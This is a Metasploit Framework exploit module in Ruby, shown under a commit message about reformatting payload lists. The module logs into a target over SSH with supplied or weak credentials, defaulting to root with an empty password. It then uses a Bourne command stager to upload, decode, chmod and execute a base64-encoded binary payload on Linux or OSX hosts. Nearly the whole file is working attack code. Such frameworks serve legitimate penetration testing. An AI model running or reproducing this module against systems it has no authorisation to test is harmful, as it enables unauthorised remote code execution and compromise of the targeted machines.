c547e84fa7
According to the Ruby style guide, %w{} collections for arrays of single
words are preferred. They're easier to type, and if you want a quick
grep, they're easier to search.
This change converts all Payloads to this format if there is more than
one payload to choose from.
It also alphabetizes the payloads, so the order can be more predictable,
and for long sets, easier to scan with eyeballs.
See:
https://github.com/bbatsov/ruby-style-guide#collections
133 lines
3.5 KiB
Ruby
133 lines
3.5 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'net/ssh'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = ManualRanking
|
|
|
|
include Msf::Exploit::CmdStagerBourne
|
|
|
|
attr_accessor :ssh_socket
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'SSH User Code Execution',
|
|
'Description' => %q{
|
|
This module utilizes a stager to upload a base64 encoded
|
|
binary which is then decoded, chmod'ed and executed from
|
|
the command shell.
|
|
},
|
|
'Author' => ['Spencer McIntyre', 'Brandon Knight'],
|
|
'References' =>
|
|
[
|
|
[ 'CVE', '1999-0502'] # Weak password
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'Privileged' => true,
|
|
'DefaultOptions' =>
|
|
{
|
|
'PrependFork' => 'true',
|
|
'EXITFUNC' => 'process'
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 4096,
|
|
'BadChars' => "",
|
|
'DisableNops' => true
|
|
},
|
|
'Platform' => %w{ linux osx },
|
|
'Targets' =>
|
|
[
|
|
[ 'Linux x86',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'linux'
|
|
},
|
|
],
|
|
[ 'Linux x64',
|
|
{
|
|
'Arch' => ARCH_X86_64,
|
|
'Platform' => 'linux'
|
|
},
|
|
],
|
|
[ 'OSX x86',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Platform' => 'osx'
|
|
},
|
|
],
|
|
],
|
|
'DefaultTarget' => 0,
|
|
# For the CVE
|
|
'DisclosureDate' => 'Jan 01 1999'
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('USERNAME', [ true, "The user to authenticate as.", 'root' ]),
|
|
OptString.new('PASSWORD', [ true, "The password to authenticate with.", '' ]),
|
|
OptString.new('RHOST', [ true, "The target address" ]),
|
|
Opt::RPORT(22)
|
|
], self.class
|
|
)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false])
|
|
]
|
|
)
|
|
end
|
|
|
|
def execute_command(cmd, opts = {})
|
|
begin
|
|
Timeout.timeout(3) do
|
|
self.ssh_socket.exec!("#{cmd}\n")
|
|
end
|
|
rescue ::Exception
|
|
end
|
|
end
|
|
|
|
def do_login(ip, user, pass, port)
|
|
opt_hash = {
|
|
:auth_methods => ['password', 'keyboard-interactive'],
|
|
:msframework => framework,
|
|
:msfmodule => self,
|
|
:port => port,
|
|
:disable_agent => true,
|
|
:password => pass
|
|
}
|
|
|
|
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
|
|
|
|
begin
|
|
self.ssh_socket = Net::SSH.start(ip, user, opt_hash)
|
|
rescue Rex::ConnectionError, Rex::AddressInUse
|
|
fail_with(Failure::Unreachable, 'Disconnected during negotiation')
|
|
rescue Net::SSH::Disconnect, ::EOFError
|
|
fail_with(Failure::Disconnected, 'Timed out during negotiation')
|
|
rescue Net::SSH::AuthenticationFailed
|
|
fail_with(Failure::NoAccess, 'Failed authentication')
|
|
rescue Net::SSH::Exception => e
|
|
fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
|
|
end
|
|
|
|
if not self.ssh_socket
|
|
fail_with(Failure::Unknown)
|
|
end
|
|
return
|
|
end
|
|
|
|
def exploit
|
|
do_login(datastore['RHOST'], datastore['USERNAME'], datastore['PASSWORD'], datastore['RPORT'])
|
|
|
|
print_status("#{datastore['RHOST']}:#{datastore['RPORT']} - Sending Bourne stager...")
|
|
execute_cmdstager({:linemax => 500})
|
|
end
|
|
end
|